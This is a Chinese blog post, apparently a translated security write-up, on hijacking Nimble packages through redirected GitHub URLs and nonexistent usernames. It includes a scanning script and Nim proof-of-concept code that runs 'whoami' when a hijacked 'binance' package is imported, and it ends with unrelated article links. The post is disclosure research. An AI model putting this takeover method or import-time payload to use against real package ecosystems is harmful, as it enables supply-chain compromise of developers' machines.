当前位置: 首页 > news >正文

供应链安全:黑客攻击 Nimble 包

在软件开发领域,包管理器对于管理依赖项和简化开发过程至关重要。但是,这些工具并非对漏洞免疫。今天,我们将深入研究一个有趣的案例研究,了解我如何利用 Nimble 包管理器的漏洞来接管包并可能危害系统。系好安全带;这将是一次技术之旅。

Nimble 是什么?

Nimble 是 Nim 编程语言的包管理器,提供了一种处理库和依赖项的简单方法。它提供了一个名为“nimble.directory”的平台,开发人员可以在该平台上发布他们的包,使其他人更容易使用这些库并将其集成到他们的项目中。

img

漏洞:URL 重定向和不存在的用户名

我对 Nimble 生态系统的探索发现了两个严重的漏洞:

  1. URL 重定向:当软件包的 GitHub URL 被重定向时,攻击者可以在重定向发生之前接管以前的 URL。如果原始 URL 不再有效,攻击者就可以控制软件包。
  2. 不存在的用户名:如果与 Nimble 包关联的 GitHub 用户名不存在,则可以利用它来声明对该包的所有权。

我如何发现并利用这些漏洞

我首先创建了一个脚本来分析 nimble.directory 上的所有软件包。在2,393 个软件包中,发现139 个存在漏洞。该脚本扫描了:

  • 带有重定向 GitHub URL 的软件包
  • 与不存在的 GitHub 用户名关联的软件包

剧本亮点

import requestsdef check_redirected_url(package_url):try:response = requests.head(package_url, allow_redirects=True)if response.history:return response.history[-1].urlexcept requests.RequestException as e:print(f"Error checking URL {package_url}: {e}")return Nonedef check_username_existence(username):try:response = requests.get(f'https://github.com/{username}')return response.status_code != 404except requests.RequestException as e:print(f"Error checking username {username}: {e}")return Falsefor package in all_packages:redirected_url = check_redirected_url(package.github_url)if redirected_url:print(f"Redirected URL found: {redirected_url}")username = package.usernameif not check_username_existence(username):print(f"Username {username} does not exist. Possible takeover.")        # Additional logic to exploit the nonexistent username

案例研究:接管“binance”软件包

我接管的软件包之一是“binance”,之前托管在https://github.com/Imperator26/binance。通过利用重定向漏洞,我能够控制软件包存储库并将其替换为恶意版本。

恶意负载

新版本的软件包包含一个脚本,该脚本可以在任何导入该脚本的系统上执行whoami命令。

import osprocproc runCommand(cmd: string) =let result = execProcess(cmd)echo resultrunCommand("whoami")

当受害者导入该包时,会发生以下情况:

import binance
echo "binance package imported successfully!"

运行时输出:

➜ nim ./test
yunus.aydin
binance package imported successfully!

whoami命令显示了当前用户,表明恶意软件包成功在目标机器上执行了代码。

影响

此漏洞凸显了与软件包管理器相关的重大风险,以及如果没有适当的检查,它们很容易被利用。劫持软件包和注入恶意代码的能力对开发人员及其系统构成了严重威胁。

号码

  • 分析的包裹总数2,393
  • 易受攻击的软件包139

结论

此次调查凸显了软件包管理中安全性的重要性。软件包管理员和开发人员必须实施严格的安全措施来防止此类漏洞。定期审核、安全 URL 处理和用户凭据验证是保护软件供应链的重要步骤。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 【LeetCode】133.克隆图
  • C#中常用集合类型
  • 室内宠物空气净化器哪个好?排名靠前室内宠物空气净化器使用感受
  • 详解Xilinx FPGA高速串行收发器GTX/GTP(3)--GTX的时钟架构
  • 白骑士的PyCharm教学高级篇 3.2 多模块项目管理
  • 谷粒商城实战笔记-129-商城业务-商品上架-nested数据类型场景
  • 用Java构建简单ATM系统
  • 白骑士的PyCharm教学进阶篇 2.5 数据库连接与管理
  • 基于深度学习的大规模模型训练
  • 无代码开发AI服务 - 利用向量库Kendra和Llama大模型在亚马逊云科技AWS上创建RAG知识库
  • 基于Qt的视频剪辑
  • informer中的WorkQueue机制的实现分析与源码解读(1)
  • Netty的几种IO模式的实现与切换
  • Flask基础教程(第一阶段)
  • JAVA—面向对象编程高级
  • 【干货分享】SpringCloud微服务架构分布式组件如何共享session对象
  • 8年软件测试工程师感悟——写给还在迷茫中的朋友
  • Docker下部署自己的LNMP工作环境
  • JavaScript中的对象个人分享
  • JS实现简单的MVC模式开发小游戏
  • Laravel5.4 Queues队列学习
  • Linux中的硬链接与软链接
  • nodejs实现webservice问题总结
  • opencv python Meanshift 和 Camshift
  • Vue学习第二天
  • windows下使用nginx调试简介
  • 程序员最讨厌的9句话,你可有补充?
  • 从零搭建Koa2 Server
  • 第13期 DApp 榜单 :来,吃我这波安利
  • 回流、重绘及其优化
  • 记一次删除Git记录中的大文件的过程
  • 理解在java “”i=i++;”所发生的事情
  • 漫谈开发设计中的一些“原则”及“设计哲学”
  • 每天10道Java面试题,跟我走,offer有!
  • 区块链分支循环
  • 使用 5W1H 写出高可读的 Git Commit Message
  • 通过获取异步加载JS文件进度实现一个canvas环形loading图
  • 温故知新之javascript面向对象
  • 我的zsh配置, 2019最新方案
  • 小程序开发中的那些坑
  • 小李飞刀:SQL题目刷起来!
  • 学习Vue.js的五个小例子
  • ionic入门之数据绑定显示-1
  • Java性能优化之JVM GC(垃圾回收机制)
  • Salesforce和SAP Netweaver里数据库表的元数据设计
  • 策略 : 一文教你成为人工智能(AI)领域专家
  • ​​​​​​​ubuntu16.04 fastreid训练过程
  • ​zookeeper集群配置与启动
  • ​学习笔记——动态路由——IS-IS中间系统到中间系统(报文/TLV)​
  • #systemverilog# 之 event region 和 timeslot 仿真调度(十)高层次视角看仿真调度事件的发生
  • (1)bark-ml
  • (2)空速传感器
  • (C++20) consteval立即函数
  • (CVPRW,2024)可学习的提示:遥感领域小样本语义分割
  • (八十八)VFL语言初步 - 实现布局